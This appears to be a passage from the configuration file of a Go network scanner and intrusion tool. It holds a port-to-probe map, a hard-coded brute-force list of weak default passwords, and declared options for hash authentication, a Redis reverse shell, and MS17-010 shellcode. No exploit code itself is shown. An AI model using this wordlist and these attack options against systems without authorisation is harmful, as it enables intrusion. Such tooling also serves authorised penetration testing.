||||
2482: {"giop"},
|
||||
2525: {"GetRequest"},
|
||||
2600: {"GenericLines"},
|
||||
2627: {"Help"},
|
||||
2701: {"LANDesk-RC"},
|
||||
2715: {"GetRequest"},
|
||||
2809: {"JavaRMI"},
|
||||
2869: {"GetRequest"},
|
||||
2947: {"LPDString"},
|
||||
2967: {"DNSVersionBindReqTCP"},
|
||||
3000: {"GenericLines", "GetRequest", "Help", "NCP"},
|
||||
3001: {"NCP"},
|
||||
3002: {"GetRequest", "NCP"},
|
||||
3003: {"NCP"},
|
||||
3004: {"NCP"},
|
||||
3005: {"GenericLines", "NCP"},
|
||||
3006: {"SMBProgNeg", "NCP"},
|
||||
3025: {"Hello"},
|
||||
3031: {"NCP"},
|
||||
3050: {"firebird"},
|
||||
3052: {"GetRequest", "RTSPRequest"},
|
||||
3127: {"mydoom"},
|
||||
3128: {"GenericLines", "GetRequest", "HTTPOptions", "mydoom", "Socks5", "Socks4"},
|
||||
3129: {"mydoom"},
|
||||
3130: {"mydoom"},
|
||||
3131: {"mydoom"},
|
||||
3132: {"mydoom"},
|
||||
3133: {"mydoom"},
|
||||
3134: {"mydoom"},
|
||||
3135: {"mydoom"},
|
||||
3136: {"mydoom"},
|
||||
3137: {"mydoom"},
|
||||
3138: {"mydoom"},
|
||||
3139: {"mydoom"},
|
||||
3140: {"mydoom"},
|
||||
3141: {"mydoom"},
|
||||
3142: {"mydoom"},
|
||||
3143: {"mydoom"},
|
||||
3144: {"mydoom"},
|
||||
3145: {"mydoom"},
|
||||
3146: {"mydoom"},
|
||||
3147: {"mydoom"},
|
||||
3148: {"mydoom"},
|
||||
3149: {"mydoom"},
|
||||
3150: {"mydoom"},
|
||||
3151: {"mydoom"},
|
||||
3152: {"mydoom"},
|
||||
3153: {"mydoom"},
|
||||
3154: {"mydoom"},
|
||||
3155: {"mydoom"},
|
||||
3156: {"mydoom"},
|
||||
3157: {"mydoom"},
|
||||
3158: {"mydoom"},
|
||||
3159: {"mydoom"},
|
||||
3160: {"mydoom"},
|
||||
3161: {"mydoom"},
|
||||
3162: {"mydoom"},
|
||||
3163: {"mydoom"},
|
||||
3164: {"mydoom"},
|
||||
3165: {"mydoom"},
|
||||
3166: {"mydoom"},
|
||||
3167: {"mydoom"},
|
||||
3168: {"mydoom"},
|
||||
3169: {"mydoom"},
|
||||
3170: {"mydoom"},
|
||||
3171: {"mydoom"},
|
||||
3172: {"mydoom"},
|
||||
3173: {"mydoom"},
|
||||
3174: {"mydoom"},
|
||||
3175: {"mydoom"},
|
||||
3176: {"mydoom"},
|
||||
3177: {"mydoom"},
|
||||
3178: {"mydoom"},
|
||||
3179: {"mydoom"},
|
||||
3180: {"mydoom"},
|
||||
3181: {"mydoom"},
|
||||
3182: {"mydoom"},
|
||||
3183: {"mydoom"},
|
||||
3184: {"mydoom"},
|
||||
3185: {"mydoom"},
|
||||
3186: {"mydoom"},
|
||||
3187: {"mydoom"},
|
||||
3188: {"mydoom"},
|
||||
3189: {"mydoom"},
|
||||
3190: {"mydoom"},
|
||||
3191: {"mydoom"},
|
||||
3192: {"mydoom"},
|
||||
3193: {"mydoom"},
|
||||
3194: {"mydoom"},
|
||||
3195: {"mydoom"},
|
||||
3196: {"mydoom"},
|
||||
3197: {"mydoom"},
|
||||
3198: {"mydoom"},
|
||||
3268: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3269: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3273: {"JavaRMI"},
|
||||
3280: {"GetRequest"},
|
||||
3310: {"GenericLines", "VersionRequest"},
|
||||
3333: {"GenericLines", "LPDString", "JavaRMI", "kumo-server"},
|
||||
3351: {"pervasive-relational", "pervasive-btrieve"},
|
||||
3372: {"GetRequest", "RTSPRequest"},
|
||||
3388: {"TLSSessionReq", "TerminalServerCookie", "TerminalServer"},
|
||||
3389: {"TerminalServerCookie", "TerminalServer", "TLSSessionReq"},
|
||||
3443: {"GetRequest", "SSLSessionReq"},
|
||||
3493: {"Help"},
|
||||
3531: {"GetRequest"},
|
||||
3632: {"DistCCD"},
|
||||
3689: {"GetRequest"},
|
||||
3790: {"metasploit-msgrpc"},
|
||||
3872: {"GetRequest"},
|
||||
3892: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3900: {"SMBProgNeg", "JavaRMI"},
|
||||
3940: {"GenericLines"},
|
||||
4000: {"GetRequest", "NoMachine"},
|
||||
4035: {"LDAPBindReq", "LDAPBindReq"},
|
||||
4045: {"RPCCheck"},
|
||||
4155: {"GenericLines"},
|
||||
4369: {"epmd"},
|
||||
4433: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
4443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "FourOhFourRequest"},
|
||||
4444: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
4533: {"rotctl"},
|
||||
4567: {"GetRequest"},
|
||||
4660: {"GetRequest"},
|
||||
4711: {"GetRequest", "piholeVersion"},
|
||||
4899: {"Radmin"},
|
||||
4911: {"SSLSessionReq", "niagara-fox"},
|
||||
4999: {"RPCCheck"},
|
||||
5000: {"GenericLines", "GetRequest", "RTSPRequest", "DNSVersionBindReqTCP", "SMBProgNeg", "ZendJavaBridge"},
|
||||
5001: {"WMSRequest", "ZendJavaBridge"},
|
||||
5002: {"ZendJavaBridge"},
|
||||
5009: {"SMBProgNeg"},
|
||||
5060: {"GetRequest", "SIPOptions"},
|
||||
5061: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SIPOptions"},
|
||||
5201: {"iperf3"},
|
||||
5222: {"GetRequest"},
|
||||
5232: {"HTTPOptions"},
|
||||
5269: {"GetRequest"},
|
||||
5280: {"GetRequest"},
|
||||
5302: {"X11Probe"},
|
||||
5323: {"DNSVersionBindReqTCP"},
|
||||
5400: {"GenericLines"},
|
||||
5427: {"GetRequest"},
|
||||
5432: {"GenericLines", "GetRequest", "SMBProgNeg"},
|
||||
5443: {"SSLSessionReq"},
|
||||
5520: {"DNSVersionBindReqTCP", "JavaRMI"},
|
||||
5521: {"JavaRMI"},
|
||||
5530: {"DNSVersionBindReqTCP"},
|
||||
5550: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
5555: {"GenericLines", "DNSVersionBindReqTCP", "SMBProgNeg", "adbConnect"},
|
||||
5556: {"DNSVersionBindReqTCP"},
|
||||
5570: {"GenericLines"},
|
||||
5580: {"JavaRMI"},
|
||||
5600: {"SMBProgNeg"},
|
||||
5701: {"hazelcast-http"},
|
||||
5702: {"hazelcast-http"},
|
||||
5703: {"hazelcast-http"},
|
||||
5704: {"hazelcast-http"},
|
||||
5705: {"hazelcast-http"},
|
||||
5706: {"hazelcast-http"},
|
||||
5707: {"hazelcast-http"},
|
||||
5708: {"hazelcast-http"},
|
||||
5709: {"LANDesk-RC", "hazelcast-http"},
|
||||
5800: {"GetRequest"},
|
||||
5801: {"GetRequest"},
|
||||
5802: {"GetRequest"},
|
||||
5803: {"GetRequest"},
|
||||
5868: {"SSLSessionReq"},
|
||||
5900: {"GetRequest"},
|
||||
5985: {"GetRequest"},
|
||||
5986: {"GetRequest", "SSLSessionReq"},
|
||||
5999: {"JavaRMI"},
|
||||
6000: {"HTTPOptions", "X11Probe"},
|
||||
6001: {"X11Probe"},
|
||||
6002: {"X11Probe"},
|
||||
6003: {"X11Probe"},
|
||||
6004: {"X11Probe"},
|
||||
6005: {"X11Probe"},
|
||||
6006: {"X11Probe"},
|
||||
6007: {"X11Probe"},
|
||||
6008: {"X11Probe"},
|
||||
6009: {"X11Probe"},
|
||||
6010: {"X11Probe"},
|
||||
6011: {"X11Probe"},
|
||||
6012: {"X11Probe"},
|
||||
6013: {"X11Probe"},
|
||||
6014: {"X11Probe"},
|
||||
6015: {"X11Probe"},
|
||||
6016: {"X11Probe"},
|
||||
6017: {"X11Probe"},
|
||||
6018: {"X11Probe"},
|
||||
6019: {"X11Probe"},
|
||||
6020: {"X11Probe"},
|
||||
6050: {"DNSStatusRequestTCP"},
|
||||
6060: {"JavaRMI"},
|
||||
6103: {"GetRequest"},
|
||||
6112: {"GenericLines"},
|
||||
6163: {"HELP4STOMP"},
|
||||
6251: {"SSLSessionReq"},
|
||||
6346: {"GetRequest"},
|
||||
6379: {"redis-server"},
|
||||
6432: {"GenericLines"},
|
||||
6443: {"SSLSessionReq"},
|
||||
6543: {"DNSVersionBindReqTCP"},
|
||||
6544: {"GetRequest"},
|
||||
6560: {"Help"},
|
||||
6588: {"Socks5", "Socks4"},
|
||||
6600: {"GetRequest"},
|
||||
6660: {"Socks5", "Socks4"},
|
||||
6661: {"Socks5", "Socks4"},
|
||||
6662: {"Socks5", "Socks4"},
|
||||
6663: {"Socks5", "Socks4"},
|
||||
6664: {"Socks5", "Socks4"},
|
||||
6665: {"Socks5", "Socks4"},
|
||||
6666: {"Help", "Socks5", "Socks4", "beast2", "vp3"},
|
||||
6667: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||
6668: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||
6669: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||
6670: {"GenericLines", "Help"},
|
||||
6679: {"TLSSessionReq", "SSLSessionReq"},
|
||||
6697: {"TLSSessionReq", "SSLSessionReq"},
|
||||
6699: {"GetRequest"},
|
||||
6715: {"JMON", "JMON"},
|
||||
6789: {"JavaRMI"},
|
||||
6802: {"NCP"},
|
||||
6969: {"GetRequest"},
|
||||
6996: {"JavaRMI"},
|
||||
7000: {"RPCCheck", "DNSVersionBindReqTCP", "SSLSessionReq", "X11Probe"},
|
||||
7002: {"GetRequest"},
|
||||
7007: {"GetRequest"},
|
||||
7008: {"DNSVersionBindReqTCP"},
|
||||
7070: {"GetRequest", "RTSPRequest"},
|
||||
7100: {"GetRequest", "X11Probe"},
|
||||
7101: {"X11Probe"},
|
||||
7144: {"GenericLines"},
|
||||
7145: {"GenericLines"},
|
||||
7171: {"NotesRPC"},
|
||||
7200: {"GenericLines"},
|
||||
7210: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
7272: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
7402: {"GetRequest"},
|
||||
7443: {"GetRequest", "SSLSessionReq"},
|
||||
7461: {"SMBProgNeg"},
|
||||
7700: {"JavaRMI"},
|
||||
7776: {"GetRequest"},
|
||||
7777: {"X11Probe", "Socks5", "Arucer"},
|
||||
7780: {"GenericLines"},
|
||||
7800: {"JavaRMI"},
|
||||
7801: {"JavaRMI"},
|
||||
7878: {"JavaRMI"},
|
||||
7887: {"xmlsysd"},
|
||||
7890: {"JavaRMI"},
|
||||
8000: {"GenericLines", "GetRequest", "X11Probe", "FourOhFourRequest", "Socks5", "Socks4"},
|
||||
8001: {"GetRequest", "FourOhFourRequest"},
|
||||
8002: {"GetRequest", "FourOhFourRequest"},
|
||||
8003: {"GetRequest", "FourOhFourRequest"},
|
||||
8004: {"GetRequest", "FourOhFourRequest"},
|
||||
8005: {"GetRequest", "FourOhFourRequest"},
|
||||
8006: {"GetRequest", "FourOhFourRequest"},
|
||||
8007: {"GetRequest", "FourOhFourRequest"},
|
||||
8008: {"GetRequest", "FourOhFourRequest", "Socks5", "Socks4", "ajp"},
|
||||
8009: {"GetRequest", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest", "ajp"},
|
||||
8010: {"GetRequest", "FourOhFourRequest", "Socks5"},
|
||||
8050: {"JavaRMI"},
|
||||
8051: {"JavaRMI"},
|
||||
8080: {"GetRequest", "HTTPOptions", "RTSPRequest", "FourOhFourRequest", "Socks5", "Socks4"},
|
||||
8081: {"GetRequest", "FourOhFourRequest", "SIPOptions", "WWWOFFLEctrlstat"},
|
||||
8082: {"GetRequest", "FourOhFourRequest"},
|
||||
8083: {"GetRequest", "FourOhFourRequest"},
|
||||
8084: {"GetRequest", "FourOhFourRequest"},
|
||||
8085: {"GetRequest", "FourOhFourRequest", "JavaRMI"},
|
||||
8087: {"riak-pbc"},
|
||||
8088: {"GetRequest", "Socks5", "Socks4"},
|
||||
8091: {"JavaRMI"},
|
||||
8118: {"GetRequest"},
|
||||
8138: {"GenericLines"},
|
||||
8181: {"GetRequest", "SSLSessionReq"},
|
||||
8194: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
8205: {"JavaRMI"},
|
||||
8303: {"JavaRMI"},
|
||||
8307: {"RPCCheck"},
|
||||
8333: {"RPCCheck"},
|
||||
8443: {"GetRequest", "HTTPOptions", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest"},
|
||||
8530: {"GetRequest"},
|
||||
8531: {"GetRequest", "SSLSessionReq"},
|
||||
8642: {"JavaRMI"},
|
||||
8686: {"JavaRMI"},
|
||||
8701: {"JavaRMI"},
|
||||
8728: {"NotesRPC"},
|
||||
8770: {"apple-iphoto"},
|
||||
8880: {"GetRequest", "FourOhFourRequest"},
|
||||
8881: {"GetRequest", "FourOhFourRequest"},
|
||||
8882: {"GetRequest", "FourOhFourRequest"},
|
||||
8883: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "FourOhFourRequest", "mqtt"},
|
||||
8884: {"GetRequest", "FourOhFourRequest"},
|
||||
8885: {"GetRequest", "FourOhFourRequest"},
|
||||
8886: {"GetRequest", "FourOhFourRequest"},
|
||||
8887: {"GetRequest", "FourOhFourRequest"},
|
||||
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI", "LSCP"},
|
||||
8889: {"JavaRMI"},
|
||||
8890: {"JavaRMI"},
|
||||
8901: {"JavaRMI"},
|
||||
8902: {"JavaRMI"},
|
||||
8903: {"JavaRMI"},
|
||||
8999: {"JavaRMI"},
|
||||
9000: {"GenericLines", "GetRequest"},
|
||||
9001: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "JavaRMI", "Radmin", "mongodb", "tarantool", "tor-versions"},
|
||||
9002: {"GenericLines", "tor-versions"},
|
||||
9003: {"GenericLines", "JavaRMI"},
|
||||
9004: {"JavaRMI"},
|
||||
9005: {"JavaRMI"},
|
||||
9030: {"GetRequest"},
|
||||
9050: {"GetRequest", "JavaRMI"},
|
||||
9080: {"GetRequest"},
|
||||
9088: {"informix", "drda"},
|
||||
9089: {"informix", "drda"},
|
||||
9090: {"GetRequest", "JavaRMI", "WMSRequest", "ibm-db2-das", "SqueezeCenter_CLI", "informix", "drda"},
|
||||
9091: {"informix", "drda"},
|
||||
9092: {"informix", "drda"},
|
||||
9093: {"informix", "drda"},
|
||||
9094: {"informix", "drda"},
|
||||
9095: {"informix", "drda"},
|
||||
9096: {"informix", "drda"},
|
||||
9097: {"informix", "drda"},
|
||||
9098: {"informix", "drda"},
|
||||
9099: {"JavaRMI", "informix", "drda"},
|
||||
9100: {"hp-pjl", "informix", "drda"},
|
||||
9101: {"hp-pjl"},
|
||||
9102: {"SMBProgNeg", "hp-pjl"},
|
||||
9103: {"SMBProgNeg", "hp-pjl"},
|
||||
9104: {"hp-pjl"},
|
||||
9105: {"hp-pjl"},
|
||||
9106: {"hp-pjl"},
|
||||
9107: {"hp-pjl"},
|
||||
9300: {"JavaRMI"},
|
||||
9390: {"metasploit-xmlrpc"},
|
||||
9443: {"GetRequest", "SSLSessionReq"},
|
||||
9481: {"Socks5"},
|
||||
9500: {"JavaRMI"},
|
||||
9711: {"JavaRMI"},
|
||||
9761: {"insteonPLM"},
|
||||
9801: {"GenericLines"},
|
||||
9809: {"JavaRMI"},
|
||||
9810: {"JavaRMI"},
|
||||
9811: {"JavaRMI"},
|
||||
9812: {"JavaRMI"},
|
||||
9813: {"JavaRMI"},
|
||||
9814: {"JavaRMI"},
|
||||
9815: {"JavaRMI"},
|
||||
9875: {"JavaRMI"},
|
||||
9910: {"JavaRMI"},
|
||||
9930: {"ibm-db2-das"},
|
||||
9931: {"ibm-db2-das"},
|
||||
9932: {"ibm-db2-das"},
|
||||
9933: {"ibm-db2-das"},
|
||||
9934: {"ibm-db2-das"},
|
||||
9991: {"JavaRMI"},
|
||||
9998: {"teamspeak-tcpquery-ver"},
|
||||
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
10000: {"GetRequest", "HTTPOptions", "RTSPRequest"},
|
||||
10001: {"GetRequest", "JavaRMI", "ZendJavaBridge"},
|
||||
10002: {"ZendJavaBridge", "SharpTV"},
|
||||
10003: {"ZendJavaBridge"},
|
||||
10005: {"GetRequest"},
|
||||
10031: {"HTTPOptions"},
|
||||
10098: {"JavaRMI"},
|
||||
10099: {"JavaRMI"},
|
||||
10162: {"JavaRMI"},
|
||||
10333: {"teamtalk-login"},
|
||||
10443: {"GetRequest", "SSLSessionReq"},
|
||||
10990: {"JavaRMI"},
|
||||
11001: {"JavaRMI"},
|
||||
11099: {"JavaRMI"},
|
||||
11210: {"couchbase-data"},
|
||||
11211: {"Memcache"},
|
||||
11333: {"JavaRMI"},
|
||||
11371: {"GenericLines", "GetRequest"},
|
||||
11711: {"LDAPSearchReq"},
|
||||
11712: {"LDAPSearchReq"},
|
||||
11965: {"GenericLines"},
|
||||
12000: {"JavaRMI"},
|
||||
12345: {"Help", "OfficeScan"},
|
||||
13013: {"GetRequest", "JavaRMI"},
|
||||
13666: {"GetRequest"},
|
||||
13720: {"GenericLines"},
|
||||
13722: {"GetRequest"},
|
||||
13783: {"DNSVersionBindReqTCP"},
|
||||
14000: {"JavaRMI"},
|
||||
14238: {"oracle-tns"},
|
||||
14443: {"GetRequest", "SSLSessionReq"},
|
||||
14534: {"GetRequest"},
|
||||
14690: {"Help"},
|
||||
15000: {"GenericLines", "GetRequest", "JavaRMI"},
|
||||
15001: {"GenericLines", "JavaRMI"},
|
||||
15002: {"GenericLines", "SSLSessionReq"},
|
||||
15200: {"JavaRMI"},
|
||||
16000: {"JavaRMI"},
|
||||
17007: {"RPCCheck"},
|
||||
17200: {"JavaRMI"},
|
||||
17988: {"GetRequest"},
|
||||
18086: {"GenericLines"},
|
||||
18182: {"SMBProgNeg"},
|
||||
18264: {"GetRequest"},
|
||||
18980: {"JavaRMI"},
|
||||
19150: {"GenericLines", "gkrellm"},
|
||||
19350: {"LPDString"},
|
||||
19700: {"kumo-server"},
|
||||
19800: {"kumo-server"},
|
||||
20000: {"JavaRMI", "oracle-tns"},
|
||||
20547: {"proconos"},
|
||||
22001: {"NotesRPC"},
|
||||
22490: {"Help"},
|
||||
23791: {"JavaRMI"},
|
||||
25565: {"minecraft-ping"},
|
||||
26214: {"GenericLines"},
|
||||
26256: {"JavaRMI"},
|
||||
26470: {"GenericLines"},
|
||||
27000: {"SMBProgNeg"},
|
||||
27001: {"SMBProgNeg"},
|
||||
27002: {"SMBProgNeg"},
|
||||
27003: {"SMBProgNeg"},
|
||||
27004: {"SMBProgNeg"},
|
||||
27005: {"SMBProgNeg"},
|
||||
27006: {"SMBProgNeg"},
|
||||
27007: {"SMBProgNeg"},
|
||||
27008: {"SMBProgNeg"},
|
||||
27009: {"SMBProgNeg"},
|
||||
27010: {"SMBProgNeg"},
|
||||
27017: {"mongodb"},
|
||||
27036: {"TLS-PSK"},
|
||||
30444: {"GenericLines"},
|
||||
31099: {"JavaRMI"},
|
||||
31337: {"GetRequest", "SIPOptions"},
|
||||
31416: {"GenericLines"},
|
||||
32211: {"LPDString"},
|
||||
32750: {"RPCCheck"},
|
||||
32751: {"RPCCheck"},
|
||||
32752: {"RPCCheck"},
|
||||
32753: {"RPCCheck"},
|
||||
32754: {"RPCCheck"},
|
||||
32755: {"RPCCheck"},
|
||||
32756: {"RPCCheck"},
|
||||
32757: {"RPCCheck"},
|
||||
32758: {"RPCCheck"},
|
||||
32759: {"RPCCheck"},
|
||||
32760: {"RPCCheck"},
|
||||
32761: {"RPCCheck"},
|
||||
32762: {"RPCCheck"},
|
||||
32763: {"RPCCheck"},
|
||||
32764: {"RPCCheck"},
|
||||
32765: {"RPCCheck"},
|
||||
32766: {"RPCCheck"},
|
||||
32767: {"RPCCheck"},
|
||||
32768: {"RPCCheck"},
|
||||
32769: {"RPCCheck"},
|
||||
32770: {"RPCCheck"},
|
||||
32771: {"RPCCheck"},
|
||||
32772: {"RPCCheck"},
|
||||
32773: {"RPCCheck"},
|
||||
32774: {"RPCCheck"},
|
||||
32775: {"RPCCheck"},
|
||||
32776: {"RPCCheck"},
|
||||
32777: {"RPCCheck"},
|
||||
32778: {"RPCCheck"},
|
||||
32779: {"RPCCheck"},
|
||||
32780: {"RPCCheck"},
|
||||
32781: {"RPCCheck"},
|
||||
32782: {"RPCCheck"},
|
||||
32783: {"RPCCheck"},
|
||||
32784: {"RPCCheck"},
|
||||
32785: {"RPCCheck"},
|
||||
32786: {"RPCCheck"},
|
||||
32787: {"RPCCheck"},
|
||||
32788: {"RPCCheck"},
|
||||
32789: {"RPCCheck"},
|
||||
32790: {"RPCCheck"},
|
||||
32791: {"RPCCheck"},
|
||||
32792: {"RPCCheck"},
|
||||
32793: {"RPCCheck"},
|
||||
32794: {"RPCCheck"},
|
||||
32795: {"RPCCheck"},
|
||||
32796: {"RPCCheck"},
|
||||
32797: {"RPCCheck"},
|
||||
32798: {"RPCCheck"},
|
||||
32799: {"RPCCheck"},
|
||||
32800: {"RPCCheck"},
|
||||
32801: {"RPCCheck"},
|
||||
32802: {"RPCCheck"},
|
||||
32803: {"RPCCheck"},
|
||||
32804: {"RPCCheck"},
|
||||
32805: {"RPCCheck"},
|
||||
32806: {"RPCCheck"},
|
||||
32807: {"RPCCheck"},
|
||||
32808: {"RPCCheck"},
|
||||
32809: {"RPCCheck"},
|
||||
32810: {"RPCCheck"},
|
||||
32913: {"JavaRMI"},
|
||||
33000: {"JavaRMI"},
|
||||
33015: {"tarantool"},
|
||||
34012: {"GenericLines"},
|
||||
37435: {"HTTPOptions"},
|
||||
37718: {"JavaRMI"},
|
||||
38978: {"RPCCheck"},
|
||||
40193: {"GetRequest"},
|
||||
41523: {"DNSStatusRequestTCP"},
|
||||
44443: {"GetRequest", "SSLSessionReq"},
|
||||
45230: {"JavaRMI"},
|
||||
47001: {"JavaRMI"},
|
||||
47002: {"JavaRMI"},
|
||||
49152: {"FourOhFourRequest"},
|
||||
49153: {"mongodb"},
|
||||
49400: {"HTTPOptions"},
|
||||
50000: {"GetRequest", "ibm-db2-das", "ibm-db2", "drda"},
|
||||
50001: {"ibm-db2"},
|
||||
50002: {"ibm-db2"},
|
||||
50003: {"ibm-db2"},
|
||||
50004: {"ibm-db2"},
|
||||
50005: {"ibm-db2"},
|
||||
50006: {"ibm-db2"},
|
||||
50007: {"ibm-db2"},
|
||||
50008: {"ibm-db2"},
|
||||
50009: {"ibm-db2"},
|
||||
50010: {"ibm-db2"},
|
||||
50011: {"ibm-db2"},
|
||||
50012: {"ibm-db2"},
|
||||
50013: {"ibm-db2"},
|
||||
50014: {"ibm-db2"},
|
||||
50015: {"ibm-db2"},
|
||||
50016: {"ibm-db2"},
|
||||
50017: {"ibm-db2"},
|
||||
50018: {"ibm-db2"},
|
||||
50019: {"ibm-db2"},
|
||||
50020: {"ibm-db2"},
|
||||
50021: {"ibm-db2"},
|
||||
50022: {"ibm-db2"},
|
||||
50023: {"ibm-db2"},
|
||||
50024: {"ibm-db2"},
|
||||
50025: {"ibm-db2"},
|
||||
50050: {"JavaRMI"},
|
||||
50500: {"JavaRMI"},
|
||||
50501: {"JavaRMI"},
|
||||
50502: {"JavaRMI"},
|
||||
50503: {"JavaRMI"},
|
||||
50504: {"JavaRMI"},
|
||||
50505: {"metasploit-msgrpc"},
|
||||
51234: {"teamspeak-tcpquery-ver"},
|
||||
55552: {"metasploit-msgrpc"},
|
||||
55553: {"metasploit-xmlrpc", "metasploit-xmlrpc"},
|
||||
55555: {"GetRequest"},
|
||||
56667: {"GenericLines"},
|
||||
59100: {"kumo-server"},
|
||||
60000: {"ibm-db2", "drda"},
|
||||
60001: {"ibm-db2"},
|
||||
60002: {"ibm-db2"},
|
||||
60003: {"ibm-db2"},
|
||||
60004: {"ibm-db2"},
|
||||
60005: {"ibm-db2"},
|
||||
60006: {"ibm-db2"},
|
||||
60007: {"ibm-db2"},
|
||||
60008: {"ibm-db2"},
|
||||
60009: {"ibm-db2"},
|
||||
60010: {"ibm-db2"},
|
||||
60011: {"ibm-db2"},
|
||||
60012: {"ibm-db2"},
|
||||
60013: {"ibm-db2"},
|
||||
60014: {"ibm-db2"},
|
||||
60015: {"ibm-db2"},
|
||||
60016: {"ibm-db2"},
|
||||
60017: {"ibm-db2"},
|
||||
60018: {"ibm-db2"},
|
||||
60019: {"ibm-db2"},
|
||||
60020: {"ibm-db2"},
|
||||
60021: {"ibm-db2"},
|
||||
60022: {"ibm-db2"},
|
||||
60023: {"ibm-db2"},
|
||||
60024: {"ibm-db2"},
|
||||
60025: {"ibm-db2"},
|
||||
60443: {"GetRequest", "SSLSessionReq"},
|
||||
61613: {"HELP4STOMP"},
|
||||
}
|
||||
|
||||
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"}
|
||||
|
||||
var (
|
||||
Outputfile string // 输出文件路径
|
||||
OutputFormat string // 输出格式
|
||||
)
|
||||
|
||||
// 添加一个全局的进度条变量
|
||||
var ProgressBar *progressbar.ProgressBar
|
||||
|
||||
// 添加一个全局互斥锁来控制输出
|
||||
var OutputMutex sync.Mutex
|
||||
|
||||
type PocInfo struct {
|
||||
Target string
|
||||
PocName string
|
||||
}
|
||||
|
||||
var (
|
||||
// =========================================================
|
||||
// 扫描目标配置
|
||||
// =========================================================
|
||||
Ports string // 要扫描的端口列表,如"80,443,8080"
|
||||
ExcludePorts string // 要排除的端口列表
|
||||
ExcludeHosts string // 要排除的主机列表
|
||||
AddPorts string // 额外添加的端口列表
|
||||
HostPort []string // 主机:端口格式的目标列表
|
||||
|
||||
// =========================================================
|
||||
// 认证与凭据配置
|
||||
// =========================================================
|
||||
Username string // 用于认证的用户名
|
||||
Password string // 用于认证的密码
|
||||
AddUsers string // 额外添加的用户名列表
|
||||
AddPasswords string // 额外添加的密码列表
|
||||
|
||||
// 特定服务认证
|
||||
Domain string // Active Directory/SMB域名
|
||||
HashValue string // 用于哈希认证的单个哈希值
|
||||
HashValues []string // 哈希值列表
|
||||
HashBytes [][]byte // 二进制格式的哈希值列表
|
||||
HashFile string // 包含哈希值的文件路径
|
||||
SshKeyPath string // SSH私钥文件路径
|
||||
|
||||
// =========================================================
|
||||
// 扫描控制配置
|
||||
// =========================================================
|
||||
ScanMode string // 扫描模式或指定的插件列表
|
||||
ThreadNum int // 并发扫描线程数
|
||||
ModuleThreadNum int // 模块内部线程数
|
||||
Timeout int64 // 单个扫描操作超时时间(秒)
|
||||
GlobalTimeout int64 // 整体扫描超时时间(秒)
|
||||
LiveTop int // 显示的存活主机排名数量
|
||||
DisablePing bool // 是否禁用主机存活性检测
|
||||
UsePing bool // 是否使用ICMP Ping检测主机存活
|
||||
EnableFingerprint bool // 是否跳过服务指纹识别
|
||||
LocalMode bool // 是否启用本地信息收集模式
|
||||
|
||||
// =========================================================
|
||||
// 输入文件配置
|
||||
// =========================================================
|
||||
HostsFile string // 包含目标主机的文件路径
|
||||
UsersFile string // 包含用户名列表的文件路径
|
||||
PasswordsFile string // 包含密码列表的文件路径
|
||||
PortsFile string // 包含端口列表的文件路径
|
||||
|
||||
// =========================================================
|
||||
// Web扫描配置
|
||||
// =========================================================
|
||||
TargetURL string // 单个目标URL
|
||||
URLsFile string // 包含URL列表的文件路径
|
||||
URLs []string // 解析后的URL目标列表
|
||||
WebTimeout int64 // Web请求超时时间(秒),默认5秒
|
||||
HttpProxy string // HTTP代理地址
|
||||
Socks5Proxy string // SOCKS5代理地址
|
||||
|
||||
// =========================================================
|
||||
// POC与漏洞利用配置
|
||||
// =========================================================
|
||||
// POC配置
|
||||
PocPath string // POC脚本路径
|
||||
Pocinfo PocInfo // POC详细信息结构
|
||||
DisablePocScan bool //nopoc
|
||||
|
||||
// Redis利用
|
||||
RedisFile string // Redis利用目标文件
|
||||
RedisShell string // Redis反弹Shell命令
|
||||
DisableRedis bool // 是否禁用Redis利用测试
|
||||
RedisWritePath string // Redis文件写入路径
|
||||
RedisWriteContent string // Redis文件写入内容
|
||||
RedisWriteFile string // Redis写入的源文件
|
||||
|
||||
// 其他漏洞利用
|
||||
Shellcode string // 用于MS17010等漏洞利用的Shellcode
|
||||
|
||||
// =========================================================
|
||||
// 暴力破解控制
|
||||
// =========================================================
|
||||
DisableBrute bool // 是否禁用暴力破解模块
|
||||
MaxRetries int // 连接失败最大重试次数
|
||||
|
||||
// =========================================================
|
||||
// 输出与显示配置
|
||||
// =========================================================
|
||||
DisableSave bool // 是否禁止保存扫描结果
|
||||
Silent bool // 是否启用静默模式
|
||||
NoColor bool // 是否禁用彩色输出
|
||||
LogLevel string // 日志输出级别
|
||||
ShowProgress bool // 是否显示进度条
|
||||
